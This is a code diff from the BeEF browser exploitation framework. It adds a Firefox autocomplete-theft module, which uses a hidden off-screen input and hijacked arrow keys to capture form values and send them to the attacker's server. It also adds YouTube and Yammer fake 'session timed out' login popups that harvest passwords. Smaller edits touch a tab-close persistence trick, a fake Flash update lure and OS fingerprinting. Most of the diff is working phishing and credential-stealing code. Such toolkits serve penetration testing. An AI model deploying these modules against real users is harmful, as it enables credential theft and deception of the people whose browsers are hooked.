+# See the file 'doc/COPYING' for copying permission
+#
+# Uses methods described here:
+# http://www.itsecuritysolutions.org/2010-03-29_fingerprinting_browsers_using_protocol_handlers/
+
+class Os_fingerprinting < BeEF::Core::Command
+
+  def post_execute
+    content = {}
+    content['windows_nt_version'] = @datastore['windows_nt_version'] if not @datastore['windows_nt_version'].nil?
+    if content.empty?
+      content['fail'] = 'Failed to fingerprint Windows version.'
+    end
+    save content
+  end
+
+end

modules/persistence/confirm_close_tab/command.js

@@ -22,6 +22,7 @@ beef.execute(function() {
             if (e.stopPropagation) {
                 e.stopPropagation();
                 e.preventDefault();
+                e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
             }
         }
 

modules/persistence/confirm_close_tab/config.yaml

@@ -9,7 +9,7 @@ beef:
             enable: true
             category: "Persistence"
             name: "Confirm Close Tab"
-            description: "Shows a confirm dialog to the user when he tries to close a tab. If he click yes, re-display the confirm dialog. Doesn't work on Opera < 12"
+            description: "Shows a confirm dialog to the user when he tries to close a tab. If he click yes, re-display the confirm dialog. Doesn't work on Opera < 12. In Chrome you can't keep opening confirm dialogs."
             authors: ["antisnatchor"]
             target:
                 user_notify: ["ALL"]

modules/social_engineering/autocomplete_theft/command.js

@@ -0,0 +1,75 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	steal_autocomplete = function() {
+
+		var results = [];
+
+		// hijack keys and set focus
+		get_autocomplete = function (){
+			window.addEventListener("keydown",function(e){
+				switch(e.keyCode) {
+					case 37: // left
+						scrollTo(window.pageXOffset-20, window.pageYOffset);
+					break;
+					case 38: // up
+						scrollTo(window.pageXOffset, window.pageYOffset-20);
+					break;
+					case 39: // right
+						scrollTo(window.pageXOffset+20, window.pageYOffset);
+					break;
+					case 40: // down
+						scrollTo(window.pageXOffset, window.pageYOffset+20);
+					break;
+					default:break;
+				}
+			},false);
+			document.getElementById("placeholder").focus();
+			
+		}
+
+		inArray = function(el, arr){
+			for (var i = 0;i < arr.length;i++)
+				if (el===arr[i])
+					return true;   
+			return false;
+		}
+
+		steal = function(n,v) {
+			var val = JSON.stringify({'input':n,'value':v});
+			if (v != "" && !inArray(val,results)){
+				results.push(val);
+				//console.log(val);
+				beef.net.send('<%= @command_url %>', <%= @command_id %>, "results="+val);
+			}
+		}
+
+		tt = function(ev) {
+			if (ev.keyCode == 37 || ev.keyCode == 39) setTimeout(function(){ ev.target.blur(); },100);
+		}
+
+		// create hidden input element
+		input = document.createElement('input');
+		input.setAttribute("id",    "placeholder");
+		input.setAttribute("name",  "<%= @input_name %>");
+		input.setAttribute("style", "position:relative;top:-1000px;left:-1111px;width:1px;height:1px;border:none;");
+		input.setAttribute("type",  "text");
+		input.onkeyup   = function(event) { tt(event); }
+		input.onkeydown = function(event) { tt(event); }
+		input.onblur    = function(event) { steal(this.name,this.value);var o=this;setTimeout(function(){ o.focus();},100);this.value = "";document.body.removeChild(this); }
+		document.body.appendChild(input);
+
+		// steal autocomplete
+		get_autocomplete();
+
+	}
+
+	setTimeout("steal_autocomplete();", 100);
+
+});
+

modules/social_engineering/autocomplete_theft/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        steal_autocomplete:
+            enable: true
+            category: "Social Engineering"
+            name: "Steal Autocomplete"
+            description: "This module steals autocomplete values from Firefox. The user must press the up or down arrow keys twice, followed by the left or right arrow key, in order to steal autocomplete information.<br/>Hint: Try convincing the user to enter the Konami code (Up, Up, Down, Down, Left, Right, Left, Right, B, A, Enter)."
+            authors: ["Stefano Di Paola", "bcoles"]
+            target:
+                working: ["FF"]
+                not_working: ["ALL"]

modules/social_engineering/autocomplete_theft/module.rb

@@ -0,0 +1,49 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+################################################################################
+# Based on the PoC by Stefano Di Paola
+# Ported to BeEF by bcoles
+# For more information see: http://blog.mindedsecurity.com/2011/10/autocompleteagain.html
+################################################################################
+class Steal_autocomplete < BeEF::Core::Command
+
+	def self.options
+		return [
+			{	'name'         => 'input_name',
+				'type'         => 'combobox',
+				'ui_label'     => 'Input Field Name',
+				'store_type'   => 'arraystore',
+				'store_fields' => ['element_name'],
+				'store_data'   => [
+					['login'],
+					['email'],
+					['Email'],
+					['session[username_or_email]'],
+					['q'],
+					['search'],
+					['name'],
+					['company'],
+					['city'],
+					['state'],
+					['country'],
+				],
+				'emptyText'    => 'Select an input field name to steal autocomplete values',
+				'valueField'   => 'element_name',
+				'displayField' => 'element_name',
+				'mode'         => 'local',
+				'autoWidth'    => true
+			}
+		]
+	end
+
+	def post_execute
+		content = {}
+		content['results'] = @datastore['results']
+		save content
+	end
+
+end
+

modules/social_engineering/fake_flash_update/config.yaml

@@ -9,7 +9,7 @@ beef:
             enable: true
             category: "Social Engineering"
             name: "Fake Flash Update"
-            description: "Prompts the user to install an update to Adobe Flash Player.<br />The file to be delivered could be a Chrome or Firefox extension. <br /><br /> A Chrome extension has privileged access and can do a whole lot.. <ul><li>- Access all tabs and inject beef into all tabs</li><li>- Use hooked browser as a proxy to do cross domain requests</li><li>- Get all cookies including HTTPonly cookies</li></ul><br />See chrome extensions beef modules for more examples<br />See extensions/demos/flash_update_chrome_extension for extension source. <b>Note</b>: the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded.<br /><br />The Firefox extension is disabling PortBanning (ports 20,21,22,25,110,143), enabling Java, overriding the UserAgent and the default home/new_tab pages.<br />See extensions/ipec/files/LinkTargetFinder dirrectory for the Firefox extension source."
+            description: "Prompts the user to install an update to Adobe Flash Player.<br />The file to be delivered could be a Chrome or Firefox extension. <br /><br /> A Chrome extension has privileged access and can do a whole lot.. <ul><li>- Access all tabs and inject beef into all tabs</li><li>- Use hooked browser as a proxy to do cross domain requests</li><li>- Get all cookies including HTTPonly cookies</li></ul><br />See chrome extensions beef modules for more examples<br />See extensions/demos/flash_update_chrome_extension for extension source. <b>Note</b>: the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded. See extensions/demos/flash_update_chrome_extension/manifest.json for more info and a sample extension that works on latest Chrome.<br /><br />The Firefox extension is disabling PortBanning (ports 20,21,22,25,110,143), enabling Java, overriding the UserAgent and the default home/new_tab pages.<br />See extensions/ipec/files/LinkTargetFinder dirrectory for the Firefox extension source."
             authors: ["mh", "antisnatchor"]
             target:
                 user_notify: ['ALL']

modules/social_engineering/pretty_theft/command.js

@@ -163,6 +163,65 @@ beef.execute(function() {
 		credgrabber = setInterval(checker,1000);
 	}
 
+	// YouTube floating div
+	function youtube() {
+
+		sneakydiv = document.createElement('div');
+		sneakydiv.setAttribute('id', 'popup');
+		sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
+		document.body.appendChild(sneakydiv);
+
+		// Set appearance using styles, maybe cleaner way to do this with CSS block?
+		var windowborder  = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';
+		var windowmain    = 'style="border:1px #555 solid;"';
+ 		var tbarstyle     = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 22px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top,  #919191,  #595959);"';
+		var bbarstyle     = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
+		var messagestyle  = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
+		var box_prestyle  = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';
+		var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';	
+		var buttonstyle   = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
+		var logo  = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png';
+		var title = 'Session Timed Out <img src="' + logo + '" align=right height=20 width=70 alt="YouTube">';
+		var messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
+		var buttonLabel  = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
+
+		// Build page including styles
+		sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
+
+		// Repeatedly check if button has been pressed
+		credgrabber = setInterval(checker,1000);
+
+	}
+
+	// Yammer floating div
+	function yammer() {
+
+		sneakydiv = document.createElement('div');
+		sneakydiv.setAttribute('id', 'popup');
+		sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');
+		document.body.appendChild(sneakydiv);
+
+		// Set appearance using styles, maybe cleaner way to do this with CSS block?
+		var windowborder  = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"';
+		var windowmain    = 'style="border:1px #555 solid;"';
+ 		var tbarstyle     = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 22px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top,  #919191,  #595959);"';
+		var bbarstyle     = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
+		var messagestyle  = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
+		var box_prestyle  = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"';
+		var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"';	
+		var buttonstyle   = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
+		var logo  = 'https://www.yammer.com/favicon.ico';
+		var title = 'Session Timed Out <img src="' + logo + '" align=right height=24 width=24 alt="Yammer">';
+		var messagewords = 'Your Yammer session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';
+		var buttonLabel  = '<input type="button" name="ok" value="Sign In" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
+
+		// Build page including styles
+		sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>Username: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>Password: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
+
+		// Repeatedly check if button has been pressed
+		credgrabber = setInterval(checker,1000);
+
+	}
 
 	// Generic floating div with image
 	function generic() {
@@ -181,19 +240,24 @@ beef.execute(function() {
 	// Set background opacity and apply background 
 	var backcolor = "<%== @backing %>";	  
 	if(backcolor == "Grey"){
-	grayOut(true,{'opacity':'70'});
-	}else if(backcolor == "Clear"){
-	grayOut(true,{'opacity':'0'});
+		grayOut(true,{'opacity':'70'});
+	} else if(backcolor == "Clear"){
+		grayOut(true,{'opacity':'0'});
 	}
 
-	// Retrieve the chosen div option from Beef and display
+	// Retrieve the chosen div option from BeEF and display
 	var choice = "<%= @choice %>";	
-	if(choice == "Facebook"){	
-	facebook();
-	} else if(choice == "LinkedIn"){
-	linkedin();	
-	} else{
-	generic();	
+	switch (choice) {
+		case "Facebook":
+			facebook(); break;
+		case "LinkedIn":
+			linkedin(); break;
+		case "YouTube":
+			youtube();  break;
+		case "Yammer":
+			yammer();   break;
+		default:
+			generic();  break;
 	}
 
 });

modules/social_engineering/pretty_theft/module.rb

@@ -9,7 +9,7 @@ class Pretty_theft < BeEF::Core::Command
     configuration = BeEF::Core::Configuration.instance
     logo_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/beef.png"
     return [
-		{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
+		{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
        		
 		{'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'],['Clear']], 'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true },